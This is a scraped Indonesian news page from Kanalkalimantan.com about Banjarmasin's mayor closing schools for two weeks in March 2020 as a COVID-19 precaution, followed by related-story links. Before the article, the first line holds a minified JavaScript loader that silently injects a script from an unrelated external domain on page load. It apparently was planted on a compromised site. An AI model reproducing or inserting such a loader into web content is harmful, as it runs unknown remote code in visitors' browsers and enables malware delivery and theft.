(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Setelah sebelumnya belum mengambil keputusan terkait kasus suspect COVID-19 yang berdampak kepada anak-anak sekolah, akhirnya Wali Kota Banjarmasin H Ibnu Sina memutuskan meliburkan anak-anak sekolah baik di tingkat SD, SMP, TK maupun PAUD yang berada di bawah Pemko Banjarmasin. Tentunya, ini merupakan respon dari Surat Edaran Kemendikbud RI yang telah diterimanya sejak Senin (16/3/2020).
Kepada awak media di Balaikota Banjarmasin pada Senin (16/3/2020) petang, Ibnu mengatakan, Kepala Disdik Kota Banjarmasin Totok Agus Daryanto telah berkoordinasi dengan kepala-kepala sekolah agar pada Selasa (17/3/2020) esok, anak-anak bisa libur sekolah.
Kalaupun ada yang pergi ke sekolah, Ibnu berkata, hanya sebatas berkoordinasi secara teknis termasuk membagikan tugas-tugas kepada siswa selama libur. Langkah ini diambil, guna memastikan agar selama belajar di rumah saja, tetap dengan pengawasan orang tua dan tidak bepergian ke luar rumah.
“Pastikan ini bukan libur biasa. Karena ini sifatnya upaya pencegahan atau istilah kekiniannya lockdown tetapi ini hanya pada tingkat anak didik kita, agar anak kita terlindung dari penyebaran suspect COVID-19,” ucap Ibnu.
Libur sekolah sendiri, efektif dimulai pada Selasa (17/3/2020) hingga dua pekan ke depan. Tujuannya, agar anak-anak terkonsentrasi di rumah dan diawasi oleh orang tua. Ibnu berujar, kendati diliburkan, aktivitas pembelajaran tetap dilakukan walau di rumah saja dengan menggunakan sistem daring jarak jauh.
Apakah ada kemungkinan waktu libur akan ditambah? Ibnu berujar, akan menyesuaikan dari arahan Pemerintah Pusat saja. Terutama perkembangan selama 14 hari ke depan sesuai masa inkubasi dari virus ini.
“Mudah-mudahan ini adalah upaya dari Pemko Banjarmasin untuk memberikan rasa aman kepada orang tua. Karena kami banyak sekali mendapatkan aspirasi dari orang tua, wali siswa dan wali santri untuk segera meliburkan,” katanya. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.